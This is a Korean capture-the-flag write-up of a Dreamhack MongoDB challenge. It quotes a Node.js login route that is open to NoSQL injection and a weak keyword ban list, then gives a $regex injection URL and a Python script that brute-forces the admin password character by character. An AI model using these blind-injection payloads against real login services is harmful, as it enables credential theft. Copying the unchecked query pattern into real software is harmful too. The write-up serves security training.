https://dreamhack.io/wargame/challenges/90/

admin 계정의 비밀번호가 이 문제의 플래그이다.
즉, admin 계정 비밀번호를 획득하면 플래그를 획득할 수 있다.
해당 문제는 문제 제목에서도 알 수 있듯이 NoSQL인 MangoDB를 사용하여 데이터베이스를 구성하였다.
const mongoose = require('mongoose');
mongoose.connect('mongodb://localhost/main', { useNewUrlParser: true, useUnifiedTopology: true });
const db = mongoose.connection;
// flag is in db, {'uid': 'admin', 'upw': 'DH{32alphanumeric}'}
const BAN = ['admin', 'dh', 'admi'];
filter = function(data){
const dump = JSON.stringify(data).toLowerCase();
var flag = false;
BAN.forEach(function(word){
if(dump.indexOf(word)!=-1) flag = true;
});
return flag;
}
Mongo DB를 사용해 DB를 구성했다.
admin, dh, admi를 BAN에 담아 사용을 못하게 하였다.
다만, 이 방법은 일시적인 방법일뿐 보안을 강화시키는 방법이 되지 못한다.
app.get('/login', function(req, res) {
if(filter(req.query)){
res.send('filter');
return;
}
const {uid, upw} = req.query;
db.collection('user').findOne({
'uid': uid,
'upw': upw,
}, function(err, result){
if (err){
res.send('err');
}else if(result){
res.send(result['uid']);
}else{
res.send('undefined');
}
})
});
login 페이지
이용자가 쿼리로 전달한 uid와 upw로 데이터베이스를 검색하고, 찾아낸 이용자의 정보를 반환한다.
app.get('/', function(req, res) {
res.send('/login?uid=guest&upw=guest');
});
/ 페이지
/ 페이지에서는 /login?uid=guest&upw=guest를 보낸다.

위의 사진처럼 페이지가 나온다.
코드에서 MongoDB에 쿼리를 전달하는 부분을 살펴보면, 쿼리 변수의 타입을 검사하지 않는다. 이로 인해 NoSQL Injection 공격이 발생할 수 있다.
로그인에 성공했을 때 이용자의 id만 페이지에 출력하기에 해당 문제는 blind NoSQL 인젝션을 사용하여 admin의 비밀번호를 획득해야한다.
http://host1.dreamhack.games:13698/login?uid[$regex]=a.min&upw[$regex]=D.{*
위에 처럼 정규 표현식으로 써 BAN에 없는 단어로 id를 유추가능하게 만들어야한다.
이걸 계속 해서 돌려야하기에 파이썬 스크립트를 짜서 문제를 해결해보았다.
import requests, string
HOST = 'http://host1.dreamhack.games:10448'
ALPHANUMRIC = string.ascii_letters + string.digits
SUCCESS = 'admin'
flag = ''
for i in range(32):
for ch in ALPHANUMRIC:
response = requests.get(f'{HOST}/login?uid[$regex]=ad.in&upw[$regex]=D.{{{flag}{ch}')
print(i)
if SUCCESS == response.text:
flag += ch
break
print(f'DH{{{flag}}}')
DH{}안에 플래그는 32자리라고 했기에
위의 코드를 돌리고, print(i)가 31까지 도달하면 문제의 플래그(비밀번호)를 얻을 수 있다.
